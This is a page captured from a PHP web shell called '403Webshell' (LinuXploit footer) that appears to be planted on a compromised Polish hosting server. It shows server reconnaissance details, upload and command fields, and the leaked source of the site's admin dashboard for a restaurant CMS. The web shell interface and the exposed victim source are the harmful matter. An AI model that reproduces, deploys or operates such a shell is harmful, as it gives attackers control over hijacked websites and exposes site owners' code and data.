403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/polana-zarzadzanie.php
<?php
declare(strict_types=1);
require_once dirname(__DIR__).'/includes/functions.php';
require_once dirname(__DIR__).'/includes/polana_v167_audit.php';
require_login();
$role=(string)(admin_user()['role']??'');
if(!in_array($role,['admin','editor'],true)){http_response_code(403);exit('Brak uprawnień do Centrum zarządzania.');}
header('Cache-Control: private, no-store');header('X-Robots-Tag: noindex,nofollow');
$report=$role==='admin'?p167_checklist():null;
$groups=p167_links($role);
$counts=$report['counts']??[];
render_admin_header('Centrum zarządzania — Moja Polana Smaków');
/* POLANA_V168_SETTINGS_SHORTCUT */
if ((admin_user()['role'] ?? '') === 'admin') echo '<div style="max-width:1180px;margin:12px auto;padding:14px 18px;border:1px solid #d1dfb3;background:#f2f7e8;border-radius:12px"><strong>Ustawienia i domena:</strong> <a style="color:#285500;font-weight:700" href="/admin/polana-v168-ustawienia.php">Edytuj wszystkie dane, e-mail rezerwacji i domenę główną →</a></div>';

?>
<style>
.pz167{--ink:#1f3029;--green:#20523d;--soft:#e9f1e9;--line:#dce8de;max-width:1450px;margin:0 auto 80px;padding:18px;color:var(--ink)}
.pz167 *{box-sizing:border-box}.pz167 .head{display:flex;align-items:start;justify-content:space-between;gap:14px;flex-wrap:wrap}
.pz167 h1{font-size:clamp(1.5rem,3vw,2.35rem);margin:0 0 5px}.pz167 h2{font-size:1.27rem;margin:0 0 14px}
.pz167 .sub{color:#566e60;margin:0 0 15px}.pz167 .section{scroll-margin-top:20px;margin-top:22px;padding:19px 18px 23px;border:1px solid var(--line);border-radius:18px;background:white}
.pz167 .quick{display:flex;gap:8px;flex-wrap:wrap;margin:12px 0 20px}.pz167 .quick a{padding:9px 14px;border-radius:999px;background:var(--soft);color:var(--green);text-decoration:none;font-weight:700}
.pz167 .metrics{display:grid;grid-template-columns:repeat(4,minmax(0,1fr));gap:12px}.pz167 .metric{border:1px solid var(--line);padding:15px;background:#f7faf6;border-radius:13px}.pz167 .metric b{display:block;font-size:clamp(22px,2vw,32px)}.pz167 .metric small{color:#54685a}
.pz167 .searchbar{display:flex;gap:10px;align-items:center;flex-wrap:wrap;padding:17px 0}.pz167 #pz167search{flex:1;min-width:240px;font:inherit;font-size:16px;padding:14px;border:1px solid #b6cbbd;border-radius:12px;max-width:700px}
.pz167 .tools{display:grid;grid-template-columns:repeat(4,minmax(0,1fr));gap:12px}.pz167 .tool{display:flex;flex-direction:column;gap:7px;min-height:112px;padding:17px;border:1px solid #d8e4db;border-radius:14px;text-decoration:none;background:#f8faf7;color:var(--ink)}
.pz167 .tool:hover,.pz167 .tool:focus-visible{border-color:#377757;background:#edf6ee;outline:2px solid transparent}.pz167 .tool b{font-size:15px}.pz167 .tool .symbol{font-size:25px}.pz167 .tool small{color:#607366;line-height:1.45}.pz167 .tool.dim{opacity:.55;cursor:not-allowed}.pz167 .flag{font-size:11px;color:#687e6f}.pz167 .btn{display:inline-flex;align-items:center;padding:11px 15px;border-radius:11px;background:var(--green);color:#fff;text-decoration:none;font-weight:700}
.pz167 .aside{padding:15px 17px;background:#eff5ed;border-radius:13px;margin-top:15px}.pz167 .audit{display:grid;grid-template-columns:repeat(2,minmax(0,1fr));gap:9px}.pz167 .audit a{border:1px solid var(--line);padding:10px;border-radius:10px;color:var(--ink);text-decoration:none}
.pz167 .ok{color:#1f6a38}.pz167 .warn{color:#a35321}.pz167 [hidden]{display:none!important}
@media(max-width:1050px){.pz167 .tools{grid-template-columns:repeat(3,minmax(0,1fr))}}@media(max-width:760px){.pz167 .tools{grid-template-columns:repeat(2,minmax(0,1fr))}.pz167 .metrics{grid-template-columns:repeat(2,minmax(0,1fr))}.pz167 .audit{grid-template-columns:1fr}}
@media(max-width:450px){.pz167{padding:12px}.pz167 .tools{grid-template-columns:1fr}.pz167 .section{padding:14px}.pz167 .tool{min-height:0}.pz167 .metrics{grid-template-columns:repeat(2,minmax(0,1fr))}}
</style>
<!-- POLANA_V182_BACKUP_LINK -->
<div style="max-width:1450px;margin:14px auto;padding:14px 18px;background:#eef5ed;border:1px solid #c6dcc7;border-radius:12px"><strong>Kopie zapasowe:</strong> <a href="/admin/polana-backup-automat.php">Automatyczny SQL / e-mail / Google Drive →</a></div>
<div class="pz167">
<div class="head"><div><h1>Centrum zarządzania Polaną</h1><p class="sub">Wszystkie funkcje bez ukrytych list i szukania po starych panelach. Wybierz, co chcesz zrobić.</p></div><a class="btn" href="/" target="_blank" rel="noopener">Otwórz restaurację ↗</a></div>
<nav class="quick" aria-label="Przejdź do sekcji"><a href="#tresci">🍽️ Menu i treści</a><?php if($role==='admin'):?><a href="#seo">🔎 SEO i Google</a><?php endif;?><a href="#system">⚙️ Restauracja i system</a></nav>
<?php if($report!==null):?>
<div class="metrics" aria-label="Stan strony">
 <div class="metric"><b><?=p167_e($report['score']===null?'—':$report['score'].'/100')?></b><small>Kontrola techniczna SEO*</small></div>
 <div class="metric"><b><?=p167_e($counts['published']??'—')?></b><small>Opublikowane artykuły</small></div>
 <div class="metric"><b><?=p167_e($counts['posts_missing_seo']??'—')?></b><small>Wpisy bez pełnych meta SEO</small></div>
 <div class="metric"><b><?=p167_e($counts['translated_review']??'—')?></b><small>Tłumaczenia do akceptacji</small></div>
</div>
<div class="aside"><b>Najbliższe zadania</b><div class="audit" style="margin-top:10px">
<?php foreach($report['checks'] as $c):?><a href="<?=p167_e($c['url'])?>"><span class="<?=$c['pass']?'ok':'warn'?>"><?=$c['pass']?'✓':'!'?></span> <?=p167_e($c['label'])?> <small>— <?=p167_e($c['detail'])?></small></a><?php endforeach;?></div>
<small>* To lokalna kontrola 6 elementów technicznych, nie wynik Google ani pozycja w wyszukiwarce.</small></div>
<?php endif;?>
<div class="searchbar"><label for="pz167search"><b>Szukaj funkcji:</b></label><input type="search" id="pz167search" placeholder="np. sitemap, ceny, blog, tłumaczenia, GSC" autocomplete="off"><span id="pz167result" role="status" aria-live="polite"></span></div>
<?php $anchors=['Treści i menu'=>'tresci','SEO i widoczność Google'=>'seo','Restauracja i system'=>'system'];foreach($groups as $groupTitle=>$links):if($role!=='admin'&&$groupTitle==='SEO i widoczność Google')continue; ?>
<section class="section" id="<?=p167_e($anchors[$groupTitle])?>" data-pz-group><h2><?=p167_e($groupTitle)?></h2>
<div class="tools">
<?php foreach($links as $link):$external=!empty($link['external']);$path=$link['href'];$exists=$external||is_file(dirname(__DIR__).parse_url($path,PHP_URL_PATH));?>
<?php if($exists):?><a class="tool" href="<?=p167_e($path)?>" <?= $external?'target="_blank" rel="noopener noreferrer"':'' ?> data-pz-tool data-search="<?=p167_e($link['title'].' '.$link['note'].' '.$link['terms'])?>"><span class="symbol" aria-hidden="true"><?=p167_e($link['icon'])?></span><b><?=p167_e($link['title'])?></b><small><?=p167_e($link['note'])?></small></a>
<?php else:?><div class="tool dim" data-pz-tool data-search="<?=p167_e($link['title'].' '.$link['note'].' '.$link['terms'])?>"><span class="symbol"><?=p167_e($link['icon'])?></span><b><?=p167_e($link['title'])?></b><small>Moduł niewgrany — <?=p167_e($link['note'])?></small><span class="flag">Brak pliku na hostingu</span></div><?php endif; ?>
<?php endforeach;?></div></section>
<?php endforeach;?>
<div class="aside"><b>Co przeniosłem ze wzorca?</b><p style="margin:7px 0 0">SEO Health, Search Console, PageSpeed, Local SEO, opinie, Analytics, Google/Bing, kontrolę wpisów i diagnostykę. Własne połączenie OAuth z Google oraz zbieranie statystyk konwersji nie są jeszcze wdrożone — powyżej są uczciwie oznaczone jako zewnętrzne narzędzia.</p></div>
</div>
<script>
(()=>{const q=document.querySelector('#pz167search'),status=document.querySelector('#pz167result');if(!q)return;
const cards=[...document.querySelectorAll('[data-pz-tool]')];q.addEventListener('input',()=>{const s=q.value.trim().toLocaleLowerCase('pl-PL');let n=0;for(const c of cards){const match=!s||(c.getAttribute('data-search')||'').toLocaleLowerCase('pl-PL').includes(s);c.hidden=!match;if(match)n++}for(const group of document.querySelectorAll('[data-pz-group]'))group.hidden=!!s&&![...group.querySelectorAll('[data-pz-tool]')].some(c=>!c.hidden);status.textContent=s?'Znaleziono: '+n:'';});})();
</script>
<?php render_admin_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit